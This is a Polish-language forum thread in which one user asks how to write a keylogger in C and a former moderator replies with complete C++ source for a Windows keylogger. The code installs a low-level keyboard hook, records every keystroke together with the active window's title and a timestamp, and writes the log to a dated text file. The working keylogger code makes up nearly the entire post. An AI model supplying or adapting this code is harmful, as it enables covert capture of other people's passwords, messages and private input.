keylogger c

kokosz33

Użytkownik
Dołączył
Styczeń 23, 2012
Posty
8
witam
jak napisać keyloggera w c

Przepraszam jeśli podobny temat już był
 

D.F.

Były Moderator
Dołączył
Listopad 4, 2009
Posty
493
Szkielet keyloggera, ale w C++.
Kod:
/*
	Coded by 0DFh.
	Visit my website: http://0dfh.c0.pl/
*/

#include <iostream>
#include <fstream>
#include <Windows.h>

HHOOK hKeyboardHook = 0;
std::string LogFile;
HWND hCurrentWindow;
char sWindowTitle[256];
char cReturn[] = {13, 10};
std::ofstream fLogFile;
SYSTEMTIME SystemTime;
char cTime[64];
char cFileName[64];

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;

	if (nCode >= 0)
	{
		if (wParam == WM_KEYUP)
		{
			if(hCurrentWindow != GetForegroundWindow())
			{
				hCurrentWindow = GetForegroundWindow();
				GetWindowText(hCurrentWindow, sWindowTitle, 256);
				GetSystemTime(&SystemTime);
				sprintf_s(cTime, "[ Czas: %02d:%02d:%02d, ", SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
				LogFile += cReturn;
				LogFile += cTime;
				LogFile += " Nazwa okna: ";
				LogFile += sWindowTitle;
				LogFile += " ]";
				LogFile += cReturn;
			}
			switch(pKbdLLHookStruct->vkCode)
			{
				case VK_RETURN:
					LogFile += "[Enter]";
					LogFile += cReturn;

					break;
				case VK_BACK:
					LogFile += "[Backspace]";
					break;
				case VK_ESCAPE:
					LogFile += "[Escape]";
					break;
				case VK_CAPITAL:
					LogFile += "[Capslock]";
					break;
				case VK_LMENU:
					LogFile += "[LAlt]";
					break;
				case VK_RMENU:
					LogFile += "[RAlt]";
					break;
				case VK_MENU:
					LogFile += "[Alt]";
					break;
				case VK_CONTROL:
					LogFile += "[Ctrl]";
					break;
				case VK_DELETE:
					LogFile += "[Delete]";
					break;
				case VK_SPACE:
					LogFile += " ";
					break;
				case VK_MULTIPLY:
					LogFile += "*";
					break;
				case VK_ADD:
					LogFile += "+";
					break;
				case VK_SUBTRACT:
					LogFile += "-";
					break;
				case VK_DECIMAL:
					LogFile += ".";
					break;
				case VK_DIVIDE:
					LogFile += "/";
					break;
				case 188:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "<";
					else
						LogFile += ",";
					break;
				case 192:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "~~";
					else
						LogFile += "`";
					break;
				case 222:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "\"";
					else
						LogFile += "'";
					break;
				case 220:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "|";
					else
						LogFile += "\\";
					break;
				case 219:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "{";
					else
						LogFile += "[";
					break;
				case 221:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "}";
					else
						LogFile += "]";
					break;
				case 186:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += ":";
					else
						LogFile += ";";
					break;
				case 191:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "?";
					else
						LogFile += "/";
					break;
				case 190:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += ">";
					else
						LogFile += ".";
					break;
				case 44:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "<";
					else
						LogFile += ",";
					break;
				case 187:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "+";
					else
						LogFile += "=";
					break;
				case 189:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "_";
					else
						LogFile += "-";
					break;
				case 65:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "A";
					else
						LogFile += "a";
					break;
				case 66:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "B";
					else
						LogFile += "b";
					break;
				case 67:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "C";
					else
						LogFile += "c";
					break;
				case 68:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "D";
					else
						LogFile += "d";
					break;
				case 69:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "E";
					else
						LogFile += "e";
					break;
				case 70:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "F";
					else
						LogFile += "f";
					break;
				case 71:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "G";
					else
						LogFile += "g";
					break;
				case 72:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "H";
					else
						LogFile += "h";
					break;
				case 73:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "I";
					else
						LogFile += "i";
					break;
				case 74:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "J";
					else
						LogFile += "j";
					break;
				case 75:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "K";
					else
						LogFile += "k";
					break;
				case 76:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "L";
					else
						LogFile += "l";
					break;
				case 77:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "M";
					else
						LogFile += "m";
					break;
				case 78:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "N";
					else
						LogFile += "n";
					break;
				case 79:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "O";
					else
						LogFile += "o";
					break;
				case 80:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "P";
					else
						LogFile += "p";
					break;
				case 81:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "Q";
					else
						LogFile += "q";
					break;
				case 82:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "R";
					else
						LogFile += "r";
					break;
				case 83:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "S";
					else
						LogFile += "s";
					break;
				case 84:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "T";
					else
						LogFile += "t";
					break;
				case 85:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "U";
					else
						LogFile += "u";
					break;
				case 86:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "V";
					else
						LogFile += "v";
					break;
				case 87:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "W";
					else
						LogFile += "w";
					break;
				case 88:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "X";
					else
						LogFile += "x";
					break;
				case 89:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "Y";
					else
						LogFile += "y";
					break;
				case 90:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "Z";
					else
						LogFile += "z";
					break;
				case VK_NUMPAD0:
					LogFile += "0";
					break;
				case VK_NUMPAD1:
					LogFile += "1";
					break;
				case VK_NUMPAD2:
					LogFile += "2";
					break;
				case VK_NUMPAD3:
					LogFile += "3";
					break;
				case VK_NUMPAD4:
					LogFile += "4";
					break;
				case VK_NUMPAD5:
					LogFile += "5";
					break;
				case VK_NUMPAD6:
					LogFile += "6";
					break;
				case VK_NUMPAD7:
					LogFile += "7";
					break;
				case VK_NUMPAD8:
					LogFile += "8";
					break;
				case VK_NUMPAD9:
					LogFile += "9";
					break;
				case 48:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += ")";
					else
						LogFile += "0";
					break;
				case 49:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "!";
					else
						LogFile += "1";
					break;
				case 50:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "@";
					else
						LogFile += "2";
					break;
				case 51:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "#";
					else
						LogFile += "3";
					break;
				case 52:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "$";
					else
						LogFile += "4";
					break;
				case 53:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "%";
					else
						LogFile += "5";
					break;
				case 54:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "^";
					else
						LogFile += "6";
					break;
				case 55:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "&";
					else
						LogFile += "7";
					break;
				case 56:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "*";
					else
						LogFile += "8";
					break;
				case 57:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "(";
					else
						LogFile += "9";
					break;
			}
		}
	}

	return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
	if(hKeyboardHook == NULL)
		MessageBox(0, "Funkcja SetWindowsHookEx nie powiodła się.", 0, 0);
	
	MessageBox(0, "Keylogger jest aktywny. Wciśnij OK, aby zakończyć jego pracę i zapisać log do pliku.", "Informacja", 0);

	// pobierz czas i datę, i doklej ją do nazwy pliku
	GetSystemTime(&SystemTime);
	sprintf_s(cFileName, "log%02d_%02d_%02d-%02d-%d.txt", SystemTime.wHour+2, SystemTime.wMinute, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);

	// zapisz log do pliku
	fLogFile.open(cFileName);
	fLogFile << LogFile.c_str();
	fLogFile.close();

	if(UnhookWindowsHookEx(hKeyboardHook) == 0)
		MessageBox(0, "Funkcja UnhookWindowsHookEx nie powiodła się.", 0, 0);

	return EXIT_SUCCESS;
}
 
Do góry Bottom